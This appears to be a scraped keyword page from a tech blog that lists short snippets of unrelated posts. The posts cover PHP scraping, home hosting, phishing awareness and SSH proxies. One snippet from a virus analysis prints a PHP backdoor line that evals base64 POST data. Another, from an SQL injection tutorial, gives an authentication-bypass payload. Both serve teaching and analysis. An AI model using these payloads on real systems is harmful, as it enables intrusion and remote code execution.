03 Jan, 2011

Www mechanize resume on error

Articles related to www mechanize resume on error

Drag 'n Drop Files from explorer to VB

http://digitalpbk.blogspot.com/2006/12/drag-n-drop-files-from-explorer-to-vb.html Drag 'n Drop Files from explorer to VB IntroductionThis piece of code allows to make programs in Visual Basic 6, to have a drag and drop support of files directly from the folders. This is an alternative to the old File Open mechanism. This is way cooler...Code tested on Windows XP and on Visual Basic 6. Any information about other versions of windows or vb? Leave a comment...DownloadDownload the code from planet source code.The CodeThe main part of the code is the module, here ...
Published 5 years, 1 month ago

Hosting a Site at your Home using Dataone

http://digitalpbk.blogspot.com/2008/07/dataone-hosting-site-my-computer-home.html and password for the router is adminFind out NATHere is my screen shot of the pageAdd an entry similar to thatName : http # Whats in a name ?External Port : 2345 #You choose, 80 may not workProtocol : TCP Internal Port : 80Server IP : 192.168.1.232 #thts meOk I guess thats it!Restart your modemFind your IPand suppose your ip is AAA.BBB.CCC.DDDPeople outside can access your site http://AAA.BBB.CCC.DDD:2345/(as long as your ip is valid and your computer is on)What abt something like www ...
Published 3 years, 7 months ago

Making subdomains on localhost

http://digitalpbk.blogspot.com/2007/01/making-subdomains-on-localhost.html me know.)StepsFirst decide on the subdomain names... for eg: sub.localhost, sub2.localhost, alt.localhost , images.localhost etc..You can also name www.name.com. (Please note that if there is a site with that name on the net, you wont be able to access that site on the internet.)Second making these sites to point to 127.0.0.1, for this you can edit the HOSTS file on windows. See this about the HOSTS file.Now add to HOSTS line 127.0.0.1 hostnameEgs:127.0.0.1 sub.localhost127.0.0.1 sub1.localhost ...
Published 5 years, 1 month ago

PHP file_get_contents giving garbled output

http://digitalpbk.com/php/file_get_contents-garbled-gzip-encoding-website-scraping . ) ); $context = stream_context_create($opts); // Open the file using the HTTP headers set above echo file_get_contents("http://www.example.com", false, $context); This should force the server to send a plain response to your client. Method 2 : Unzipping the contents locally This method is slower but useful if the server forces gzip output. We can use the gzdecode function avaliable from PHP 6.0 or the gzdecode function definition given in gzdecode man page on PHP.net. The code to deflate ...
Published 1 year, 11 months ago

PHP Code Analysis of Bagle Virus

http://digitalpbk.blogspot.com/2009/10/bagle-virus-analysis-php-code.html ($a == 'default output handler' ? false : $a); for ($i = count ($s) - 1; $i >= 0; $i--) { $s[$i][1] = ob_get_contents (); ob_end_clean (); } ob_start ('b0sr'); for ($i = 0; $i { ob_start ($s[$i][0]); echo $s[$i][1]; } } }$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;eval (base64_decode ($_POST['e'])); ...
Published 2 years, 3 months ago

SQL Injection: Tutorial Part 1

http://digitalpbk.blogspot.com/2009/06/hacking-sql-injection-tutorial.html injection hole, all an user has to do is add a ' (single quote) to the username and/or password fields, sayuser=digitalpbkpass=password'Now the SQL query would be constructed as SELECT * FROM users WHERE user='digitalpbk' AND pass='password''This will throw up an invalid SQL and if the errors are not supressed you will get a screen as shown below:So if we modify the user input field pass such thatuser=digitalpbkpass=password' OR '1'='1,the constructed SQL ...
Published 2 years, 7 months ago

0x80070002-A problem is preventing Windows from accurately checking the license for this computer

http://digitalpbk.blogspot.com/2008/04/0x80070002-problem-is-preventing.html 0x80070002-A problem is preventing Windows from accurately checking the license for this computer A problem is preventing Windows from accurately checking the license for this computer.Error Code: 0x80070002When Windows XP boots up, after the Welcome Screen a message comes that shows the above message, and it does not allow you to login.Solution!Boot into SafemodePress F8 While booting just after the BIOS screen or during the OS Selection menu.Then do the following in the command promt ...
Published 3 years, 9 months ago

Protect yourselves from phishing

http://digitalpbk.blogspot.com/2007/01/get-smart-against-phishing.html the target url on the status bar (bottom of the page), Is it the url ? Copy the link address and paste it to a new text file and examine it from head to tail. Do a google search for the site, if anything related to phishing comes up...One old phishing technique was to mask the target server using the http://username:password@www.site.comSo the fraudster would mask his url as http://www.urbanksite.com/somevrylongtext/todistractyou@www.evilsite.comNow this technique has depricated since most browsers warn ...
Published 5 years, 1 month ago

SSH Tunneling Proxy using Putty on Windows and Linux (Unblock YouTube / Orkut / Facebook)

http://digitalpbk.blogspot.com/2009/05/ssh-proxy-windows-linux-orkut-bypass.html earlier)Check Socks v5 Option.Click on Ok and again Ok (in the options Window)Internet Explorer And Google ChromeTake Start Menu > Control Panel > Internet OptionsClick on Connections Tab > Lan Settings (Highlighted in Figure Above)Check use a proxy server and click advanced.Now fill up Socks as localhost, and Port 9090 or the one you gave earlier.Click Ok and Ok and Ok as needed :)That's all Enjoy Browsing :)...Visit "www.orkut.com" "www.facebook.com" and verify ...
Published 2 years, 8 months ago

Using PHP for more than HTML

http://digitalpbk.blogspot.com/2007/04/using-php-for-more-than-html.html imagesheader("Content-Type: image/jpeg");echo file_get_contents("../images/some.jpg");?>The above code returns a jpeg. But this is static everytime we see the some.jpg. The advantage of using php to return image is that you can provide a authentication validation, i.e, the user must have signed in to view the image. Thus automatically hot linking is prevented. (Hot linking is the use of images of other servers, by another server. for eg an image on www.example.com displyed on www ...
Published 4 years, 9 months ago

Related help topics for www mechanize resume on error More keywords like www mechanize resume on error
More pages for www mechanize resume on error


Email Newsletter
Email:
Popular Posts
Recent Posts
Tags
Random photo
A Mirrored sky A Mirrored sky in Havelock Island Andaman
On Facebook
Recent Comments


digitalpbk